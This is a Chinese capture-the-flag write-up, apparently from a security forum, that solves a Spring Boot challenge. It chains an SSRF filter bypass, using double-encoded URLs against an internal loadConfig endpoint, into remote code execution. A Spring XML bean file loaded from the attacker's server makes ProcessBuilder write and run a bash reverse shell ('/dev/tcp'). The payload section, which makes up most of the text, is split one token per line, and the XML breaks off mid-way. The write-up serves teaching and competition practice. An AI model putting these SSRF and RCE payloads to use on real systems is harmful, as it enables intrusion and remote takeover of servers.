通过
发现其存在过滤规则
考虑存在ssrf
拜读了一下作者的浅谈URL
简单测试了一下
发现其报接口错误 而httpclient4没有这种报错
推测为httpclient3
使用httpclient3进行绕过
payload:
发现成功绕过了这个过滤
再者,尝试注释中的loadconfig接口进行加载
payload如下:
插入代码
发现了一堆报错 不过没有关系 我们参考一下weblogic中的关于spring framwork的利用
并且在服务器端开了一个Python的服务器然后将xml挂在上面
payload:
同时监听端口 发现了get请求
证明可以出网 也可以进行利用
对payload进行构造
这是写shell文件的payload
这是执行文件的payload
分别执行 服务器设置监听端口 shell反弹回来
按照惯例先ls一下
home 下的看看
发现了jar文件 通过cat下载
下载下来拖进jd-gui中反编译
得到flag:
flag{congratulations-Path-the-spring-boot}
部分源码:
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
^(http|https):\\
/
\\
/
[^?
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
:
80xx
.pediy.com
/
flag
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
:
80xx
.pediy.com
/
flag
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
flag
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
flag
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
loadConfig?url
=
x.xml
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
loadConfig?url
=
x.xml
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
loadConfig?url
=
http:
/
/
xxxx.xxxxx.xxxxx:
8080
/
x.xml
http:
/
/
121.36
.
145.157
:
8088
/
getimage?url
=
http:
/
/
127.0
.
0.1
%
253a8088
%
253f
.pediy.com
/
loadConfig?url
=
http:
/
/
xxxx.xxxxx.xxxxx:
8080
/
x.xml
<?xml version
=
"1.0"
encoding
=
"UTF-8"
?>
<beans xmlns
=
"http://www.springframework.org/schema/beans"
xmlns:xsi
=
"http://www.w3.org/2001/XMLSchema-instance"
xmlns:context
=
"http://www.springframework.org/schema/context"
xsi:schemaLocation
=
"http:
/
/
www.springframework.org
/
schema
/
beans
http:
/
/
www.springframework.org
/
schema
/
beans
/
spring
-
beans.xsd
http:
/
/
www.springframework.org
/
schema
/
context
http:
/
/
www.springframework.org
/
schema
/
context
/
spring
-
context.xsd">
<!
-
-
<bean
id
=
"est"
class
=
"fastjsonapplication.r00t4dm.est"
init
-
method
=
"estInit"
/
>
-
-
>
<bean
id
=
"pb"
class
=
"java.lang.ProcessBuilder"
init
-
method
=
"start"
>
<constructor
-
arg>
<
list
>
<value><![CDATA[
/
bin
/
bash]]><
/
value>
<value><![CDATA[
-
c]]><
/
value>
<value><![CDATA[echo
"bash -i >& /dev/tcp/{服务器IP}/{端口} 0>&1"
>
/
tmp
/
shell.sh ]]><
/
value>
<
/
list
>
<
/
constructor
-
arg>
<
/
bean>
<
/
beans>
<?xml version
=
"1.0"
encoding
=
"UTF-8"
?>
<beans xmlns
=
"http://www.springframework.org/schema/beans"
xmlns:xsi
=
"http://www.w3.org/2001/XMLSchema-instance"
xmlns:context
=
"http://www.springframework.org/schema/context"
xsi:schemaLocation
=
"http:
/
/
www.springframework.org
/
schema
/
beans
http:
/
/
www.springframework.org
/
schema
/
beans
/
spring
-
beans.xsd
http:
/
/
www.springframework.org
/
schema
/
context
http:
/
/
www.springframework.org
/
schema
/
context
/
spring
-
context.xsd">
<!
-
-
<bean
id
=
"est"
class
=
"fastjsonapplication.r00t4dm.est"
init
-
method
=
"estInit"
/
>
-
-
>
<bean
id
=
"pb"
class
=
"java.lang.ProcessBuilder"
init
-
method
=
"start"
>
<constructor
-
arg>
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2020-11-18 12:11
被CrazymanArmy编辑
,原因: